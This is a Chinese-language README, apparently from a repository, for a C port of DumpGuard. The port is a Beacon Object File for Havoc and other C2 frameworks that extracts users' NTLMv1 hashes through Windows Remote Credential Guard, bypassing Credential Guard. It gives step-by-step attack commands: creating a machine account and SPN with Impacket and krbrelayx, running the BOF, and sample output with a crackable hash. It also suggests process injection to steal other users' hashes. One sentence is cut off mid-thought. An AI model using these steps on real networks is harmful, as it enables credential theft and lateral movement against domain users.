DumpGuard 的 Beacon Object File (BOF) 移植,用于从现代 Windows 系统的会话中提取 NTLMv1 哈希。

本仓库包含 DumpGuard 的 Beacon Object File (BOF) 实现,从原始的 C#/.NET 实现移植到纯 C 语言,以便在 Havoc 和其他支持 BOF 执行的 C2 框架中使用。
这是一个概念验证 (PoC) 和学习练习。
这个 BOF 移植是我个人学习远程凭据保护协议、Kerberos 身份验证流程以及底层 Windows 安全机制细节的一部分。将该工具从 C# 移植到纯 C 以用于 BOF 执行的过程主要是一次教育尝试。
请注意:
如果您发现任何问题或有改进建议,欢迎贡献代码。如需稳健且经过充分测试的实现,请参考原始 DumpGuard 工具。
此 BOF 基于 @bytewreck 在 SpecterOps 的研究和工具:
DumpGuard 利用 Windows 远程凭据保护 (RCG) 从登录用户提取 NTLMv1 哈希,无需访问 LSASS 内存,也无需管理员权限。即使启用了 Credential Guard,它也能正常工作。
TSRemoteGuardCreds 中。在第 4 轮之后,我们获得了加密的凭据 blob。奇迹发生在当我们使用 TSSSP 包调用 LsaCallAuthenticationPackage 时。LSA 将我们的请求通过 RDPEAR -> TSRemoteGuard -> MSV1_0 进行路由,后者会解密秘密并为我们计算 NTLMv1 响应。
Credential Guard 将 NTLM 和 Kerberos 秘密隔离在安全的 VBS 空间 (LsaIso.exe) 中,防止像 Mimikatz 这样的直接内存访问攻击。然而,Credential Guard 仍然需要使用这些秘密进行合法的身份验证。这就是该技术所利用的接口。
如需深入了解技术细节,请参见:捕获 Credential Guard 未防御之际
此 BOF 移植仅实现了原始 DumpGuard 工具中的 "Self" 模式。此版本未实现 "All" 模式。
通过远程凭据保护协议转储当前进程用户的 NTLMv1 哈希。
虽然此 BOF 仅实现 "self" 模式,但您仍然可以通过例如注入到以该用户身份运行的进程中来提取其他用户的 NTLMv1 哈希。例如,如果您拥有管理员权限,可以将 BOF 注入到其他已登录用户拥有的进程中,以获取他们的哈希。
此技术需要拥有已注册服务主体名称 (SPN) 的账户凭据。实现此目的的一种方法是创建机器账户并为其添加 SPN。
使用 Impacket:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
示例输出:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
使用 krbrelayx 的 addspn.py:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
使用 pywerview:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
在输出中查找 serviceprincipalname: host/yourspn.domain.local。
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
注意:
x参数是在域名之前必须提供的占位符/虚拟参数。这可能会在将来的版本(如果有)中解决。
示例:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
示例输出:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
重要: 提取的 NTLMv1 哈希属于运行 BOF 进程的用户,而非用于身份验证的机器账户 (
EVIL_COMPUTER$)。机器账户凭据仅用于向 KDC 进行身份验证并建立远程凭据保护会话。
输出格式为 hashcat 兼容的 NTLMv1 格式:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
输出:build/dumpguard.x64.o
BSD 3-Clause 许可证
原始 DumpGuard 工具采用 BSD 3-Clause 许可证,版权 (c) 2025 Valdemar Carøe。此 BOF 移植保留相同的许可条款。
如有疑问、报告错误或贡献代码,请在 GitHub 上提交 issue。
| 轮次 | 客户端 -> 服务器 | 服务器 -> 客户端 |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (来自真实 KDC) |
| 2 | AP-REQ (服务票据) | AP-REP + MIC |
| 3 | PubKeyAuth (绑定哈希) | 服务器绑定哈希 |
| 4 | AuthInfo (TSRemoteGuardCreds) | 无 |